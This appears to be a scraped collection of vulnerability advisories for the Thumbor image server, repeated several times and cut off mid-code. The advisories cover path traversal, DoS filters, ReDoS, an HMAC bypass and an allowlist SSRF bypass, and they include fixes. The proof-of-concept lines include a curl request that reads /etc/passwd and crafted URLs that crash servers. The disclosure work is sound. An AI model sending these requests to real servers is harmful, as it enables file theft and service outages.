The file_loader performs unquote() on the file path AFTER the abspath() + startswith() security check. An attacker can use percent-encoded path traversal sequences (%2e%2e for ..) that pass the security check as literal directory names, but are then decoded to actual .. traversal sequences.

Affected code

thumbor/loaders/file_loader.py lines 28-49:

async def load(context, path):
    file_path = join(
        context.config.FILE_LOADER_ROOT_PATH.rstrip("/"), path.lstrip("/")
    )
    file_path = abspath(file_path)
    inside_root_path = file_path.startswith(         # Security check
        abspath(context.config.FILE_LOADER_ROOT_PATH)
    )
    result = LoaderResult()
    if not inside_root_path:
        result.error = LoaderResult.ERROR_NOT_FOUND
        result.successful = False
        return result

    if not exists(file_path):
        file_path = unquote(file_path)               # unquote AFTER check!

    if exists(file_path) and isfile(file_path):
        with open(file_path, "rb") as source_file:
            ...

The watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies quote() in imaging.py line 37).

PoC

# Read /etc/passwd via watermark filter path traversal
# %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader,
# file_loader unquote decodes %2e to .
curl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg'

Flow:

1. %252e%252e arrives at Tornado, decoded to %2e%2e
2. Watermark filter passes %2e%2e/%2e%2e/.../etc/passwd to file_loader
3. join(ROOT, '%2e%2e/...') = ROOT/%2e%2e/...
4. abspath() sees %2e%2e as literal dir name (no dots to resolve)
5. startswith(ROOT) = True (passes check)
6. exists() returns False (literal %2e%2e dir doesn't exist)
7. unquote() converts %2e%2e to ..
8. OS resolves .. → reads files outside ROOT

Prerequisites

• LOADER = thumbor.loaders.file_loader (or file_loader_http_fallback)
• ALLOW_UNSAFE_URL = True (this is the default)
• watermark/frame filters are enabled by default (in BUILTIN_FILTERS)

Impact

Arbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.

Summary

Thumbor's filters:proportion(<value>) filter does not enforce an upper bound on <value> and runs in the post-transform phase. An attacker can trigger extremely large resizes (CPU/memory exhaustion) and cause denial of service.

Details

• Filter implementation: thumbor/filters/proportion.py
  • value is parsed as a float (BaseFilter.DecimalNumber) with no maximum.
  • The filter computes new_width = source_width * value and new_height = source_height * value and then calls engine.resize(new_width, new_height).
• Execution phase: proportion runs in the default POST_TRANSFORM phase (after the main transform pipeline). This means it can effectively bypass request-level size clamping that happens earlier in the request lifecycle (e.g., MAX_WIDTH/MAX_HEIGHT applied to req.width/req.height).

Documentation states the percentage argument should be 0.0 to 1.0 (docs/proportion.rst), but the implementation does not enforce this constraint.

PoC

Preconditions

• The proportion filter is enabled (it is enabled by default via BUILTIN_FILTERS).
• Either:
  • /unsafe/ URLs are allowed (ALLOW_UNSAFE_URL=True, common default in some deployments), OR
  • /unsafe/ is disabled, and the attacker has a valid signed URL (i.e., the attacker is an authorized user/partner, or otherwise can obtain signed URLs issued by a trusted signing service).

Example request 1 (signed URL)

The following request was used to reproduce the issue and causes severe resource exhaustion:

http://<host>:<port>/<url-sign>/100x100/filters:proportion(10000)/example.jpg

Example request 2 (/unsafe/)

If /unsafe/ is enabled:

http://<host>:<port>/unsafe/100x100/filters:proportion(10000)/example.jpg

Impact

• Remote Denial of Service via CPU and/or memory exhaustion (and potentially process crash / OOM kill).
• Exploitability depends on deployment:
  • If /unsafe/ is enabled: unauthenticated remote DoS.
  • If /unsafe/ is disabled: the attacker needs a valid signed URL (i.e., the attacker can legitimately request signed URLs, or has access to signed URLs issued for other users/partners). If signed URLs are not exposed to untrusted parties, exploitability is reduced but the risk still applies to any party who can generate/use signed URLs.

Suggested remediation

• Enforce a strict bound on the proportion parameter (e.g., 0.0 < value <= 1.0 as documented), or define a safe maximum based on intended semantics.

Summary

The regular expression used to parse the convolution filter exhibits exponential-time backtracking for certain inputs, enabling a Regular Expression Denial of Service (ReDoS).

Details

The RegExp for convolution is defined as convolution\((?:\s*((?:[-]?[\d]+\.?[\d]*[;])*(?:[-]?[\d]+\.?[\d]*))\s*)(?:,\s*([\d]+)\s*)(?:,\s*([Tt]rue|[Ff]alse|1|0)\s*)?\). Within this expression a dangerous subpattern effectively behaves like (\d+)*,\d+.

PoC

A filter string containing many repeated values will exhaust re.match:

• convolution(-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11)
• http://localhost:8888/unsafe/0x0/smart/filters:convolution(-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11)/x.png

The evaluation occurs on https://github.com/thumbor/thumbor/blob/master/thumbor/filters/init.py#L189.

Impact

A specially crafted URL will lead to denial of service, as new images won't be processed until re.match returns.

Summary

Thumbor's filters:convolution(<matrix>, <columns>, <should_normalize>) filter passes the user-controlled <columns> value to a C extension (thumbor/ext/filters/_convolution.c) where it is used as a divisor (for % and /) without validating columns > 0. When columns=0, the C code triggers undefined behavior; on x86_64 this reliably results in a fatal divide-by-zero trap (SIGFPE) and crashes the Thumbor process (confirmed on Linux x86_64 and macOS Intel x86_64), causing a remote denial of service.

Details

Root cause

The Python filter accepts columns=0, and the native C extension uses columns_count as a divisor without validating it.

1. Python filter entry point allows columns=0 (thumbor/filters/convolution.py):

@filter_method(
    r"(?:[-]?[\d]+\.?[\d]*[;])*(?:[-]?[\d]+\.?[\d]*)",
    BaseFilter.PositiveNumber,  # accepts 0
    BaseFilter.Boolean,
)
async def convolution(self, matrix, columns, should_normalize=True):
    ...
    imgdata = _convolution.apply(..., matrix, columns, should_normalize)

BaseFilter.PositiveNumber matches "0" (thumbor/filters/__init__.py):

class BaseFilter:
    PositiveNumber = {"regex": r"[\d]+", "parse": int}  # matches "0"
    PositiveNonZeroNumber = {"regex": r"[\d]*[1-9][\d]*", "parse": int}

2. C extension divides/modulos by columns_count without a zero check (thumbor/ext/filters/_convolution.c):

kernel_size = PyTuple_Size(kernel_tuple);
if ((kernel_size % columns_count != 0) ||
    (kernel_size % 2 == 0) ||
    ((kernel_size / columns_count) % 2) == 0) {
    // TODO: error, not a valid kernel
    return NULL;
}

PoC

Test environment

• Linux x86_64

Preconditions

• The convolution filter is enabled (it is enabled by default via BUILTIN_FILTERS).
• Either:
  • /unsafe/ URLs are allowed (ALLOW_UNSAFE_URL=True), OR
  • /unsafe/ is disabled, and the attacker has a valid signed URL (i.e., the attacker is an authorized user/partner, or can obtain signed URLs from a trusted signing service).

Example request (signed URL)

http://<host>:<port>/<url-sign>/400x400/filters:convolution(1;2;1;2;4;2;1;2;1,0,true)/example.jpg

Example request (/unsafe/)

http://<host>:<port>/unsafe/400x400/filters:convolution(1;2;1;2;4;2;1;2;1,0,true)/example.jpg

Impact

• Remote Denial of Service via process crash (SIGFPE) on x86_64 (confirmed on Linux x86_64 and macOS Intel x86_64).
• Exploitability depends on deployment:
  • If /unsafe/ is enabled: unauthenticated remote DoS.
  • If /unsafe/ is disabled: the attacker needs a valid signed URL.(i.e., the attacker is an authorized user/partner, or can obtain signed URLs from a trusted signing service)

Suggested remediation

• In the C extension (thumbor/ext/filters/_convolution.c):
  • Reject columns_count <= 0 before any % or /.
• In the Python filter (thumbor/filters/convolution.py):
  • Require columns to be non-zero (e.g., use BaseFilter.PositiveNonZeroNumber).

HMAC validation bypass via multiple .replace() calls when removing URL signature

Summary

Thumbor’s HMAC validation can be bypassed due to the use of Python’s .replace() when removing the signature from the URL before validation. Since .replace() removes all occurrences of the substring, an attacker can insert the same signature multiple times in the URL and manipulate the final URL used for validation.

This allows crafting URLs where the validated string differs from the actual requested resource, enabling loading images from unintended domains or paths.

Details

Thumbor signs URLs using HMAC-SHA1 to prevent abuse such as loading arbitrary external images or invoking filters without authorization.

During request validation, Thumbor removes the signature from the request URL before recalculating the HMAC. The relevant code:

url_signature = self.context.request.hash
if url_signature:
    signer = self.context.modules.url_signer(
        self.context.server.security_key
    )

    try:
        quoted_hash = quote(self.context.request.hash)
    except KeyError:
        self._error(400, f"Invalid hash: {self.context.request.hash}")
        return

    url_to_validate = url.replace(
        f"/{self.context.request.hash}/", ""
    ).replace(f"/{quoted_hash}/", "")

    valid = signer.validate(
        unquote(url_signature).encode(), url_to_validate
    )

The issue is that .replace() removes every occurrence of the substring in the URL, not just the first one.

Because the signature itself appears in the URL, an attacker can inject additional copies of the signature elsewhere in the path. When Thumbor performs .replace(), these extra occurrences are also removed, resulting in a different url_to_validate than the original request.

Example

Valid request:

/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.com/v1/.../image.jpg

By injecting the same hash inside the URL:

/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.co/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/m/v1/.../image.jpg

After .replace() removes all occurrences of the hash, the URL used for validation differs from the effective request path. This allows manipulation of the upstream host or path.

Further manipulation is possible due to the second .replace() for the URL-encoded hash (%3D), enabling more precise path manipulation.

Example:

/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.com/ddoyYVYUbDf6Po/ddoyYVYUbDf6Po_dzOrBhCDrXLc%3D/ddoyYVYUbDf6Po/v1/...

Impact

This behavior may allow attackers to:

• Bypass HMAC URL validation
• Load images from arbitrary domains
• Abuse Thumbor deployments as an open proxy / image fetcher
• Circumvent domain restrictions intended by the signed URL mechanism

Root Cause

Use of .replace() without limiting the number of replacements when removing the signature from the URL.

Since the signature is part of the request path, using a global replacement allows attackers to place additional occurrences of the same substring to influence the validated string.

Suggested Fix

Remove only the first occurrence of the signature or explicitly parse the URL components instead of performing global string replacement.

Example:

url.replace(f"/{self.context.request.hash}/", "", 1)

Alternatively, reconstruct the unsigned URL deterministically from the parsed request components.

Summary

The ALLOWED_SOURCES configuration is meant to restrict which hosts Thumbor's HTTP loader may fetch images from. Plain-string entries in that list (the overwhelming majority of real-world and documented configurations) are passed directly to re.match() without escaping. Because . is a regex wildcard, every dot in a domain name becomes a bypass vector: s.glbimg.com silently matches sXglbimgYcom, sAglbimg.com, and any other hostname that differs only at a dot position. This undermines the primary SSRF defence that ALLOWED_SOURCES is intended to provide.

Affected component

thumbor/loaders/http_loader.py — validate()

Proof of concept

import re
from thumbor.config import Config
from thumbor.context import Context
from thumbor.loaders import http_loader as loader

config = Config()
config.ALLOWED_SOURCES = ["s.glbimg.com"]   # typical user config
ctx = Context(None, config, None)

# These should be blocked — both return True due to the unescaped dot
print(loader.validate(ctx, "http://sXglbimgYcom/secret.jpg"))  # True ← bypass
print(loader.validate(ctx, "http://sAglbimg.com/secret.jpg"))  # True ← bypass

# Legitimate origin — correctly allowed
print(loader.validate(ctx, "http://s.glbimg.com/logo.jpg"))    # True ← correct

Root cause

thumbor/loaders/http_loader.py (before fix):

for pattern in context.config.ALLOWED_SOURCES:
    if isinstance(pattern, Pattern):
        match = url
    else:
        pattern = f"^{pattern}$"   # <-- dots not escaped, act as regex wildcard
        match = res.hostname

    if re.match(pattern, match):
        return True

Impact

An attacker who can influence the image source URL passed to Thumbor can fetch images from arbitrary hosts, bypassing the ALLOWED_SOURCES allowlist.

Preconditions:

• ALLOWED_SOURCES contains at least one plain-string entry (the common case; all official documentation examples use plain strings).
• The attacker can supply or influence the image URL — true whenever ALLOW_UNSAFE_URL = True (the default), or when the application forwards user input to a signed URL endpoint.

Fix

Apply re.escape() to plain-string patterns before compiling them, so every character is matched literally:

else:
    pattern = f"^{re.escape(pattern)}$"   # dots and other metacharacters are now literal
    match = res.hostname

This is a one-call addition with no breaking change for correctly written configurations. Users who need real regular-expression behaviour should supply a compiled pattern (re.compile(r"s\.glbimg\.com")), which is already handled by the existing isinstance(pattern, Pattern) branch and is unaffected by this change.

The ALLOWED_SOURCES docstring in config.py was also updated to document the two-mode behaviour explicitly.

The file_loader performs unquote() on the file path AFTER the abspath() + startswith() security check. An attacker can use percent-encoded path traversal sequences (%2e%2e for ..) that pass the security check as literal directory names, but are then decoded to actual .. traversal sequences.

Affected code

thumbor/loaders/file_loader.py lines 28-49:

async def load(context, path):
    file_path = join(
        context.config.FILE_LOADER_ROOT_PATH.rstrip("/"), path.lstrip("/")
    )
    file_path = abspath(file_path)
    inside_root_path = file_path.startswith(         # Security check
        abspath(context.config.FILE_LOADER_ROOT_PATH)
    )
    result = LoaderResult()
    if not inside_root_path:
        result.error = LoaderResult.ERROR_NOT_FOUND
        result.successful = False
        return result

    if not exists(file_path):
        file_path = unquote(file_path)               # unquote AFTER check!

    if exists(file_path) and isfile(file_path):
        with open(file_path, "rb") as source_file:
            ...

The watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies quote() in imaging.py line 37).

PoC

# Read /etc/passwd via watermark filter path traversal
# %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader,
# file_loader unquote decodes %2e to .
curl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg'

Flow:

1. %252e%252e arrives at Tornado, decoded to %2e%2e
2. Watermark filter passes %2e%2e/%2e%2e/.../etc/passwd to file_loader
3. join(ROOT, '%2e%2e/...') = ROOT/%2e%2e/...
4. abspath() sees %2e%2e as literal dir name (no dots to resolve)
5. startswith(ROOT) = True (passes check)
6. exists() returns False (literal %2e%2e dir doesn't exist)
7. unquote() converts %2e%2e to ..
8. OS resolves .. → reads files outside ROOT

Prerequisites

• LOADER = thumbor.loaders.file_loader (or file_loader_http_fallback)
• ALLOW_UNSAFE_URL = True (this is the default)
• watermark/frame filters are enabled by default (in BUILTIN_FILTERS)

Impact

Arbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.

Summary

Thumbor's filters:proportion(<value>) filter does not enforce an upper bound on <value> and runs in the post-transform phase. An attacker can trigger extremely large resizes (CPU/memory exhaustion) and cause denial of service.

Details

• Filter implementation: thumbor/filters/proportion.py
  • value is parsed as a float (BaseFilter.DecimalNumber) with no maximum.
  • The filter computes new_width = source_width * value and new_height = source_height * value and then calls engine.resize(new_width, new_height).
• Execution phase: proportion runs in the default POST_TRANSFORM phase (after the main transform pipeline). This means it can effectively bypass request-level size clamping that happens earlier in the request lifecycle (e.g., MAX_WIDTH/MAX_HEIGHT applied to req.width/req.height).

Documentation states the percentage argument should be 0.0 to 1.0 (docs/proportion.rst), but the implementation does not enforce this constraint.

PoC

Preconditions

• The proportion filter is enabled (it is enabled by default via BUILTIN_FILTERS).
• Either:
  • /unsafe/ URLs are allowed (ALLOW_UNSAFE_URL=True, common default in some deployments), OR
  • /unsafe/ is disabled, and the attacker has a valid signed URL (i.e., the attacker is an authorized user/partner, or otherwise can obtain signed URLs issued by a trusted signing service).

Example request 1 (signed URL)

The following request was used to reproduce the issue and causes severe resource exhaustion:

http://<host>:<port>/<url-sign>/100x100/filters:proportion(10000)/example.jpg

Example request 2 (/unsafe/)

If /unsafe/ is enabled:

http://<host>:<port>/unsafe/100x100/filters:proportion(10000)/example.jpg

Impact

• Remote Denial of Service via CPU and/or memory exhaustion (and potentially process crash / OOM kill).
• Exploitability depends on deployment:
  • If /unsafe/ is enabled: unauthenticated remote DoS.
  • If /unsafe/ is disabled: the attacker needs a valid signed URL (i.e., the attacker can legitimately request signed URLs, or has access to signed URLs issued for other users/partners). If signed URLs are not exposed to untrusted parties, exploitability is reduced but the risk still applies to any party who can generate/use signed URLs.

Suggested remediation

• Enforce a strict bound on the proportion parameter (e.g., 0.0 < value <= 1.0 as documented), or define a safe maximum based on intended semantics.

Summary

The regular expression used to parse the convolution filter exhibits exponential-time backtracking for certain inputs, enabling a Regular Expression Denial of Service (ReDoS).

Details

The RegExp for convolution is defined as convolution\((?:\s*((?:[-]?[\d]+\.?[\d]*[;])*(?:[-]?[\d]+\.?[\d]*))\s*)(?:,\s*([\d]+)\s*)(?:,\s*([Tt]rue|[Ff]alse|1|0)\s*)?\). Within this expression a dangerous subpattern effectively behaves like (\d+)*,\d+.

PoC

A filter string containing many repeated values will exhaust re.match:

• convolution(-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11)
• http://localhost:8888/unsafe/0x0/smart/filters:convolution(-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11)/x.png

The evaluation occurs on https://github.com/thumbor/thumbor/blob/master/thumbor/filters/init.py#L189.

Impact

A specially crafted URL will lead to denial of service, as new images won't be processed until re.match returns.

Summary

Thumbor's filters:convolution(<matrix>, <columns>, <should_normalize>) filter passes the user-controlled <columns> value to a C extension (thumbor/ext/filters/_convolution.c) where it is used as a divisor (for % and /) without validating columns > 0. When columns=0, the C code triggers undefined behavior; on x86_64 this reliably results in a fatal divide-by-zero trap (SIGFPE) and crashes the Thumbor process (confirmed on Linux x86_64 and macOS Intel x86_64), causing a remote denial of service.

Details

Root cause

The Python filter accepts columns=0, and the native C extension uses columns_count as a divisor without validating it.

1. Python filter entry point allows columns=0 (thumbor/filters/convolution.py):

@filter_method(
    r"(?:[-]?[\d]+\.?[\d]*[;])*(?:[-]?[\d]+\.?[\d]*)",
    BaseFilter.PositiveNumber,  # accepts 0
    BaseFilter.Boolean,
)
async def convolution(self, matrix, columns, should_normalize=True):
    ...
    imgdata = _convolution.apply(..., matrix, columns, should_normalize)

BaseFilter.PositiveNumber matches "0" (thumbor/filters/__init__.py):

class BaseFilter:
    PositiveNumber = {"regex": r"[\d]+", "parse": int}  # matches "0"
    PositiveNonZeroNumber = {"regex": r"[\d]*[1-9][\d]*", "parse": int}

2. C extension divides/modulos by columns_count without a zero check (thumbor/ext/filters/_convolution.c):

kernel_size = PyTuple_Size(kernel_tuple);
if ((kernel_size % columns_count != 0) ||
    (kernel_size % 2 == 0) ||
    ((kernel_size / columns_count) % 2) == 0) {
    // TODO: error, not a valid kernel
    return NULL;
}

PoC

Test environment

• Linux x86_64

Preconditions

• The convolution filter is enabled (it is enabled by default via BUILTIN_FILTERS).
• Either:
  • /unsafe/ URLs are allowed (ALLOW_UNSAFE_URL=True), OR
  • /unsafe/ is disabled, and the attacker has a valid signed URL (i.e., the attacker is an authorized user/partner, or can obtain signed URLs from a trusted signing service).

Example request (signed URL)

http://<host>:<port>/<url-sign>/400x400/filters:convolution(1;2;1;2;4;2;1;2;1,0,true)/example.jpg

Example request (/unsafe/)

http://<host>:<port>/unsafe/400x400/filters:convolution(1;2;1;2;4;2;1;2;1,0,true)/example.jpg

Impact

• Remote Denial of Service via process crash (SIGFPE) on x86_64 (confirmed on Linux x86_64 and macOS Intel x86_64).
• Exploitability depends on deployment:
  • If /unsafe/ is enabled: unauthenticated remote DoS.
  • If /unsafe/ is disabled: the attacker needs a valid signed URL.(i.e., the attacker is an authorized user/partner, or can obtain signed URLs from a trusted signing service)

Suggested remediation

• In the C extension (thumbor/ext/filters/_convolution.c):
  • Reject columns_count <= 0 before any % or /.
• In the Python filter (thumbor/filters/convolution.py):
  • Require columns to be non-zero (e.g., use BaseFilter.PositiveNonZeroNumber).

HMAC validation bypass via multiple .replace() calls when removing URL signature

Summary

Thumbor’s HMAC validation can be bypassed due to the use of Python’s .replace() when removing the signature from the URL before validation. Since .replace() removes all occurrences of the substring, an attacker can insert the same signature multiple times in the URL and manipulate the final URL used for validation.

This allows crafting URLs where the validated string differs from the actual requested resource, enabling loading images from unintended domains or paths.

Details

Thumbor signs URLs using HMAC-SHA1 to prevent abuse such as loading arbitrary external images or invoking filters without authorization.

During request validation, Thumbor removes the signature from the request URL before recalculating the HMAC. The relevant code:

url_signature = self.context.request.hash
if url_signature:
    signer = self.context.modules.url_signer(
        self.context.server.security_key
    )

    try:
        quoted_hash = quote(self.context.request.hash)
    except KeyError:
        self._error(400, f"Invalid hash: {self.context.request.hash}")
        return

    url_to_validate = url.replace(
        f"/{self.context.request.hash}/", ""
    ).replace(f"/{quoted_hash}/", "")

    valid = signer.validate(
        unquote(url_signature).encode(), url_to_validate
    )

The issue is that .replace() removes every occurrence of the substring in the URL, not just the first one.

Because the signature itself appears in the URL, an attacker can inject additional copies of the signature elsewhere in the path. When Thumbor performs .replace(), these extra occurrences are also removed, resulting in a different url_to_validate than the original request.

Example

Valid request:

/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.com/v1/.../image.jpg

By injecting the same hash inside the URL:

/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.co/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/m/v1/.../image.jpg

After .replace() removes all occurrences of the hash, the URL used for validation differs from the effective request path. This allows manipulation of the upstream host or path.

Further manipulation is possible due to the second .replace() for the URL-encoded hash (%3D), enabling more precise path manipulation.

Example:

/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.com/ddoyYVYUbDf6Po/ddoyYVYUbDf6Po_dzOrBhCDrXLc%3D/ddoyYVYUbDf6Po/v1/...

Impact

This behavior may allow attackers to:

• Bypass HMAC URL validation
• Load images from arbitrary domains
• Abuse Thumbor deployments as an open proxy / image fetcher
• Circumvent domain restrictions intended by the signed URL mechanism

Root Cause

Use of .replace() without limiting the number of replacements when removing the signature from the URL.

Since the signature is part of the request path, using a global replacement allows attackers to place additional occurrences of the same substring to influence the validated string.

Suggested Fix

Remove only the first occurrence of the signature or explicitly parse the URL components instead of performing global string replacement.

Example:

url.replace(f"/{self.context.request.hash}/", "", 1)

Alternatively, reconstruct the unsigned URL deterministically from the parsed request components.

Summary

The ALLOWED_SOURCES configuration is meant to restrict which hosts Thumbor's HTTP loader may fetch images from. Plain-string entries in that list (the overwhelming majority of real-world and documented configurations) are passed directly to re.match() without escaping. Because . is a regex wildcard, every dot in a domain name becomes a bypass vector: s.glbimg.com silently matches sXglbimgYcom, sAglbimg.com, and any other hostname that differs only at a dot position. This undermines the primary SSRF defence that ALLOWED_SOURCES is intended to provide.

Affected component

thumbor/loaders/http_loader.py — validate()

Proof of concept

import re
from thumbor.config import Config
from thumbor.context import Context
from thumbor.loaders import http_loader as loader

config = Config()
config.ALLOWED_SOURCES = ["s.glbimg.com"]   # typical user config
ctx = Context(None, config, None)

# These should be blocked — both return True due to the unescaped dot
print(loader.validate(ctx, "http://sXglbimgYcom/secret.jpg"))  # True ← bypass
print(loader.validate(ctx, "http://sAglbimg.com/secret.jpg"))  # True ← bypass

# Legitimate origin — correctly allowed
print(loader.validate(ctx, "http://s.glbimg.com/logo.jpg"))    # True ← correct

Root cause

thumbor/loaders/http_loader.py (before fix):

for pattern in context.config.ALLOWED_SOURCES:
    if isinstance(pattern, Pattern):
        match = url
    else:
        pattern = f"^{pattern}$"   # <-- dots not escaped, act as regex wildcard
        match = res.hostname

    if re.match(pattern, match):
        return True

Impact

An attacker who can influence the image source URL passed to Thumbor can fetch images from arbitrary hosts, bypassing the ALLOWED_SOURCES allowlist.

Preconditions:

• ALLOWED_SOURCES contains at least one plain-string entry (the common case; all official documentation examples use plain strings).
• The attacker can supply or influence the image URL — true whenever ALLOW_UNSAFE_URL = True (the default), or when the application forwards user input to a signed URL endpoint.

Fix

Apply re.escape() to plain-string patterns before compiling them, so every character is matched literally:

else:
    pattern = f"^{re.escape(pattern)}$"   # dots and other metacharacters are now literal
    match = res.hostname

This is a one-call addition with no breaking change for correctly written configurations. Users who need real regular-expression behaviour should supply a compiled pattern (re.compile(r"s\.glbimg\.com")), which is already handled by the existing isinstance(pattern, Pattern) branch and is unaffected by this change.

The ALLOWED_SOURCES docstring in config.py was also updated to document the two-mode behaviour explicitly.

The file_loader performs unquote() on the file path AFTER the abspath() + startswith() security check. An attacker can use percent-encoded path traversal sequences (%2e%2e for ..) that pass the security check as literal directory names, but are then decoded to actual .. traversal sequences.

Affected code

thumbor/loaders/file_loader.py lines 28-49:

async def load(context, path):
    file_path = join(
        context.config.FILE_LOADER_ROOT_PATH.rstrip("/"), path.lstrip("/")
    )
    file_path = abspath(file_path)
    inside_root_path = file_path.startswith(         # Security check
        abspath(context.config.FILE_LOADER_ROOT_PATH)
    )
    result = LoaderResult()
    if not inside_root_path:
        result.error = LoaderResult.ERROR_NOT_FOUND
        result.successful = False
        return result

    if not exists(file_path):
        file_path = unquote(file_path)               # unquote AFTER check!

    if exists(file_path) and isfile(file_path):
        with open(file_path, "rb") as source_file:
            ...

The watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies quote() in imaging.py line 37).

PoC

# Read /etc/passwd via watermark filter path traversal
# %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader,
# file_loader unquote decodes %2e to .
curl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg'

Flow:

1. %252e%252e arrives at Tornado, decoded to %2e%2e
2. Watermark filter passes %2e%2e/%2e%2e/.../etc/passwd to file_loader
3. join(ROOT, '%2e%2e/...') = ROOT/%2e%2e/...
4. abspath() sees %2e%2e as literal dir name (no dots to resolve)
5. startswith(ROOT) = True (passes check)
6. exists() returns False (literal %2e%2e dir doesn't exist)
7. unquote() converts %2e%2e to ..
8. OS resolves .. → reads files outside ROOT

Prerequisites

• LOADER = thumbor.loaders.file_loader (or file_loader_http_fallback)
• ALLOW_UNSAFE_URL = True (this is the default)
• watermark/frame filters are enabled by default (in BUILTIN_FILTERS)

Impact

Arbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.

Summary

Thumbor's filters:proportion(<value>) filter does not enforce an upper bound on <value> and runs in the post-transform phase. An attacker can trigger extremely large resizes (CPU/memory exhaustion) and cause denial of service.

Details

• Filter implementation: thumbor/filters/proportion.py
  • value is parsed as a float (BaseFilter.DecimalNumber) with no maximum.
  • The filter computes new_width = source_width * value and new_height = source_height * value and then calls engine.resize(new_width, new_height).
• Execution phase: proportion runs in the default POST_TRANSFORM phase (after the main transform pipeline). This means it can effectively bypass request-level size clamping that happens earlier in the request lifecycle (e.g., MAX_WIDTH/MAX_HEIGHT applied to req.width/req.height).

Documentation states the percentage argument should be 0.0 to 1.0 (docs/proportion.rst), but the implementation does not enforce this constraint.

PoC

Preconditions

• The proportion filter is enabled (it is enabled by default via BUILTIN_FILTERS).
• Either:
  • /unsafe/ URLs are allowed (ALLOW_UNSAFE_URL=True, common default in some deployments), OR
  • /unsafe/ is disabled, and the attacker has a valid signed URL (i.e., the attacker is an authorized user/partner, or otherwise can obtain signed URLs issued by a trusted signing service).

Example request 1 (signed URL)

The following request was used to reproduce the issue and causes severe resource exhaustion:

http://<host>:<port>/<url-sign>/100x100/filters:proportion(10000)/example.jpg

Example request 2 (/unsafe/)

If /unsafe/ is enabled:

http://<host>:<port>/unsafe/100x100/filters:proportion(10000)/example.jpg

Impact

• Remote Denial of Service via CPU and/or memory exhaustion (and potentially process crash / OOM kill).
• Exploitability depends on deployment:
  • If /unsafe/ is enabled: unauthenticated remote DoS.
  • If /unsafe/ is disabled: the attacker needs a valid signed URL (i.e., the attacker can legitimately request signed URLs, or has access to signed URLs issued for other users/partners). If signed URLs are not exposed to untrusted parties, exploitability is reduced but the risk still applies to any party who can generate/use signed URLs.

Suggested remediation

• Enforce a strict bound on the proportion parameter (e.g., 0.0 < value <= 1.0 as documented), or define a safe maximum based on intended semantics.

Summary

The regular expression used to parse the convolution filter exhibits exponential-time backtracking for certain inputs, enabling a Regular Expression Denial of Service (ReDoS).

Details

The RegExp for convolution is defined as convolution\((?:\s*((?:[-]?[\d]+\.?[\d]*[;])*(?:[-]?[\d]+\.?[\d]*))\s*)(?:,\s*([\d]+)\s*)(?:,\s*([Tt]rue|[Ff]alse|1|0)\s*)?\). Within this expression a dangerous subpattern effectively behaves like (\d+)*,\d+.

PoC

A filter string containing many repeated values will exhaust re.match:

• convolution(-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11)
• http://localhost:8888/unsafe/0x0/smart/filters:convolution(-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11)/x.png

The evaluation occurs on https://github.com/thumbor/thumbor/blob/master/thumbor/filters/init.py#L189.

Impact

A specially crafted URL will lead to denial of service, as new images won't be processed until re.match returns.

Summary

Thumbor's filters:convolution(<matrix>, <columns>, <should_normalize>) filter passes the user-controlled <columns> value to a C extension (thumbor/ext/filters/_convolution.c) where it is used as a divisor (for % and /) without validating columns > 0. When columns=0, the C code triggers undefined behavior; on x86_64 this reliably results in a fatal divide-by-zero trap (SIGFPE) and crashes the Thumbor process (confirmed on Linux x86_64 and macOS Intel x86_64), causing a remote denial of service.

Details

Root cause

The Python filter accepts columns=0, and the native C extension uses columns_count as a divisor without validating it.

1. Python filter entry point allows columns=0 (thumbor/filters/convolution.py):

@filter_method(
    r"(?:[-]?[\d]+\.?[\d]*[;])*(?:[-]?[\d]+\.?[\d]*)",
    BaseFilter.PositiveNumber,  # accepts 0
    BaseFilter.Boolean,
)
async def convolution(self, matrix, columns, should_normalize=True):
    ...
    imgdata = _convolution.apply(..., matrix, columns, should_normalize)

BaseFilter.PositiveNumber matches "0" (thumbor/filters/__init__.py):

class BaseFilter:
